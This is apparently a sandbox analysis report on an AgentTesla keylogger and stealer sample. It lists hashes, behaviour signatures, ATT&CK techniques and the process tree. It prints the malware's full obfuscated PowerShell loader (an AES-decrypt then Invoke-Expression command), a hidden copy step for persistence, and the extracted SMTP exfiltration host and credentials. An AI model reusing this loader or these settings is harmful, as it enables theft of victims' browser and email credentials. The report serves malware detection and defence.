agenttesla | 18f41f2a39ff37e43e2a8e01b0447d613257682929e0d5383458935d8279773c

General

Target

18f41f2a39ff37e43e2a8e01b0447d613257682929e0d5383458935d8279773c.vbs
Size

159KB
MD5

dcef6132db05f9704623b495b05c1e4a
SHA1

ec64670ba9e10bf41fa634be3f8b7c5bec0f719b
SHA256

18f41f2a39ff37e43e2a8e01b0447d613257682929e0d5383458935d8279773c
SHA512

6c4eef2875783152687021060b390269e7de5756bcdf45f26880a83a8b65e99240483be5cf72caec6210c706060b53f03ebbf49a46685b4b747fa9c1e27b5b5d
SSDEEP

1536:vSBSNS2SNSJSNSImSNSzSNSmSNS8SNSySNSaSNS1SP:v0YzYsYeYmYTY5YHYPYQg

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.dlewarez.info
Port:
587
Username:
[email protected]
Password:
esubwDViXlQ2@@##
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

11 3168 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3455265224-196869244-2056873367-1000\Control Panel\International\Geo\Nation WScript.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LnkName.lnk powershell.exe
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

36 api.ipify.org
35 api.ipify.org
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3168 set thread context of 1128 3168 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4176 1128 WerFault.exe RegAsm.exe
Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

pid process

3168 powershell.exe
3168 powershell.exe
3036 powershell.exe
3036 powershell.exe
3168 powershell.exe
3168 powershell.exe
1128 RegAsm.exe
1128 RegAsm.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

description pid process

Token: SeDebugPrivilege 3168 powershell.exe
Token: SeDebugPrivilege 3036 powershell.exe
Token: SeDebugPrivilege 1128 RegAsm.exe

flow	pid	process
11	3168	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3455265224-196869244-2056873367-1000\Control Panel\International\Geo\Nation	WScript.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LnkName.lnk	powershell.exe

flow	ioc
36	api.ipify.org
35	api.ipify.org

description	pid	process	target process
PID 3168 set thread context of 1128	3168	powershell.exe	RegAsm.exe

pid	pid_target	process	target process
4176	1128	WerFault.exe	RegAsm.exe

pid	process
3168	powershell.exe
3168	powershell.exe
3036	powershell.exe
3036	powershell.exe
3168	powershell.exe
3168	powershell.exe
1128	RegAsm.exe
1128	RegAsm.exe

description	pid	process
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeDebugPrivilege	3036	powershell.exe
Token: SeDebugPrivilege	1128	RegAsm.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 4420 wrote to memory of 3168	4420	WScript.exe	powershell.exe
PID 4420 wrote to memory of 3168	4420	WScript.exe	powershell.exe
PID 3168 wrote to memory of 3036	3168	powershell.exe	powershell.exe
PID 3168 wrote to memory of 3036	3168	powershell.exe	powershell.exe
PID 3168 wrote to memory of 4052	3168	powershell.exe	RegAsm.exe
PID 3168 wrote to memory of 4052	3168	powershell.exe	RegAsm.exe
PID 3168 wrote to memory of 4052	3168	powershell.exe	RegAsm.exe
PID 3168 wrote to memory of 1128	3168	powershell.exe	RegAsm.exe
PID 3168 wrote to memory of 1128	3168	powershell.exe	RegAsm.exe
PID 3168 wrote to memory of 1128	3168	powershell.exe	RegAsm.exe
PID 3168 wrote to memory of 1128	3168	powershell.exe	RegAsm.exe
PID 3168 wrote to memory of 1128	3168	powershell.exe	RegAsm.exe
PID 3168 wrote to memory of 1128	3168	powershell.exe	RegAsm.exe
PID 3168 wrote to memory of 1128	3168	powershell.exe	RegAsm.exe
PID 3168 wrote to memory of 1128	3168	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\18f41f2a39ff37e43e2a8e01b0447d613257682929e0d5383458935d8279773c.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function Decrypt-AESEncryption{Param([String]$CBGNKODNPÇ,[String]$Keygfhfghfgiy)$OGjnLfnOaç = New-Object System.Security.Cryptography.AesManaged;$OGjnLfnOaç.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OGjnLfnOaç.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$OGjnLfnOaç.BlockSize = 128;$OGjnLfnOaç.KeySize = 256;$OGjnLfnOaç.Key = (New-Object System.Security.Cryptography.SHA256Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Keygfhfghfgiy));$BxwZvbgNLo = [System.Convert]::FromBase64String($CBGNKODNPÇ);$OGjnLfnOaç.IV = $BxwZvbgNLo[0..15];$decryptor = $OGjnLfnOaç.CreateDecryptor();$geLJgUoUQL = $decryptor.TransformFinalBlock($BxwZvbgNLo, 16, $BxwZvbgNLo.Length - 16);$OGjnLfnOaç.Dispose();return [System.Text.Encoding]::UTF8.GetString($geLJgUoUQL).Trim([char]0)}$qROuE = '23176310927586413792';$MqDDxKjJmA = 'FoGLCjqpRliJQi11hCtAOF81slvtFOGU9rZ8dC2DlzWrXEyqWGUQQOHJW5CgkrG9HiJw7HT3KtpsBMjn67ekbpqApBChPtQ/ihi0Nt9z8FNBigpDUVbRtDnwD3Tu6oXpHJLJel6aki1Gm2uQ3RuL+5aSgMLijD4gm6JOGiRWUd+DQTgbDbPxZ6oFmyZwkklfZaNnTUrdcpDLK4js4xG5iZVC3zKEpr76zZsUNix/qoSgK2oeIt45qYtT+EhJoxac39p4cS6IFEob0SYg6VlOCgDluaQvAF4RB2tcFPxfgIuTH1FNl6/Eh9WYo20z/3lwNsHmSbQcHGjhL8cM+ohh5m3hT6JOP7MvwDmFe6HqMDvZ7qRIno7IKJdbRac/vxw84zDypr7pF6HDobu0F/cArm5HCyQ+SkgWSEvzCOp3Mpj1HL9kjiiysv3IPllMuWG5F2W9IN8n0u8aCKMMph1skC9W3mYwLv2bVNqzOV1YeGj9oayIf6BmVQlKi39Fv39mocGla8Z74nek8ELKCP9pHXdL8KjXUQercNkF3xKjdsC/Fx1bn+HHzXw3YABqH6U0CA4bqBLyNJuFlN9F1KmeZh/qEYHrWFJvlUV8YcXDYn8f5aK4RwqaaKE5GgFslt39QkHEkYtd4ijirDyGZ08vMTVNd5qxgSJmbAMhkzpfdIyywqXvUBz213IP+o0HfT0A0MgCisgtdX4i5xJZ0kB4azjFZ8PpSfO87gVtgE4jJhsWK9w7FOAZgaNj0i6ovZ7fsK2XXa4GIgF3UajMao5ITbyi3/rb3ANXX+zIUBb+U7DumftlEauMlYY09L9Nh+y1eeHK17CBzcEAILXg56LQJrv6rE3sFaWkAnmUlIUpGNT+SwBTZkK080gVlk2jrY6qJ+eb1d1kK49HlqvKT8bM1EK+nOEvOSyzlIL2ogfhjs6o2a24qtsD9Fh9ou+zbo3aZLK0VwfZx+4gaYQgREUtctIFT9uxSsPMhikmm9fLDZp21+SIzwfSM2fCG1KP56d3jePTR9lhXrZYqX2P9zLNviWqm+jwwURjmeEljvzioyhzmtJ+z5Cr1Pl/w87XTBliumSakj6M86L1Phi0ZORYzicjvALjdsa0GhwyOaOkULl99w8dEwJiZvF6SP/FB3JiYrF3rdqXlLGcZwvZ4xVIoprzWyb98JbKykcExHMBepLzGCe4ca773/Ikiv8lFXJI31KLYJShBcWnUe1lIk7hTZCCP0d8BUEdE3d4fumE3KN8MuyvO7VyzBEGsCKd5QoEW6fKJNl9Y30jwALwq+rhfUMv0Xyxj93w8eApWbx/zh5RaBjmY9ifQETWKwK3tT+LaLdd1Ww/vvPPbAr/HedbdlVdxT1KTyFGExQjSBWDeotvmUkcD6+usolisMw7y93SbQys388JGPJSQCADs5ULDDbE04R2eWBgnUSHSrl57Mp6EVKBhoIVYym6V8lSbq/nQNr7LeeAHuxr98QbQNdu3aguSrF8Mw6yY5pwfhqFl4elRXiP/9/hSD9WZEcSPrs8jeZlgK17K+vxfzr0jg2JL0B5gAyTanNw+zQkmANpOhkMj4ilJ5+dRFMTT7/JW12ZnclRQFtBtTtFgW9qeLzWaE5N2OLr3MTcux2+/OxiSdSUM9paK2l1wALhUoIp1I/TWxQsbyE0dFMC40Qes/fQl4QuMWm7C+xV3hxnHC9Np+zl5gj4M4J35KIB4hWYxmTHvYKeNU6amsgzAvKnToKUqQ==';$GmtBWLkcKU = Decrypt-AESEncryption -CBGNKODNPÇ $MqDDxKjJmA -Key $qROuE;Invoke-Expression $GmtBWLkcKU
2⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3168

C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\VbsName.vbs
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3036

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:4052

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1128 -s 2124
4⤵
- Program crash
PID:4176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1128 -ip 1128
1⤵
PID:1308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
2KB

MD5
1c086a4535fdc0731bc2d213f99cbe50

SHA1
e4773793e5b25c3f1e39a4cad890628115cfb5dc

SHA256
bb986388dcc4e18dd2df56a00fb7378b047112582eb9f558b8d0fe59f49522b7

SHA512
f70f7a349eca2dae039b090140414b2b756eb45f0767a417abe82fcca54bf1a605a88d603fbf1cafd3be5d23c99bf79d66b067ccc91bccb06d1f337c4d99bd2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o3310k3h.lw5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1128-35-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/1128-44-0x0000000074270000-0x0000000074A20000-memory.dmp

Filesize
7.7MB

Download
memory/1128-43-0x0000000004FD0000-0x0000000004FE0000-memory.dmp

Filesize
64KB

Download
memory/1128-42-0x0000000004FE0000-0x0000000005046000-memory.dmp

Filesize
408KB

Download
memory/1128-41-0x0000000005590000-0x0000000005B34000-memory.dmp

Filesize
5.6MB

Download
memory/1128-40-0x0000000074270000-0x0000000074A20000-memory.dmp

Filesize
7.7MB

Download
memory/3036-19-0x0000021962130000-0x0000021962140000-memory.dmp

Filesize
64KB

Download
memory/3036-20-0x0000021962130000-0x0000021962140000-memory.dmp

Filesize
64KB

Download
memory/3036-33-0x00007FFC9EA30000-0x00007FFC9F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/3036-18-0x00007FFC9EA30000-0x00007FFC9F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/3168-0-0x000002152C7C0000-0x000002152C7E2000-memory.dmp

Filesize
136KB

Download
memory/3168-17-0x000002152D2E0000-0x000002152D2FE000-memory.dmp

Filesize
120KB

Download
memory/3168-16-0x000002152D160000-0x000002152D1D6000-memory.dmp

Filesize
472KB

Download
memory/3168-39-0x00007FFC9EA30000-0x00007FFC9F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/3168-15-0x000002152CAB0000-0x000002152CABA000-memory.dmp

Filesize
40KB

Download
memory/3168-13-0x000002152D4E0000-0x000002152DC86000-memory.dmp

Filesize
7.6MB

Download
memory/3168-12-0x000002152BE60000-0x000002152BE70000-memory.dmp

Filesize
64KB

Download
memory/3168-11-0x000002152BE60000-0x000002152BE70000-memory.dmp

Filesize
64KB

Download
memory/3168-10-0x00007FFC9EA30000-0x00007FFC9F4F1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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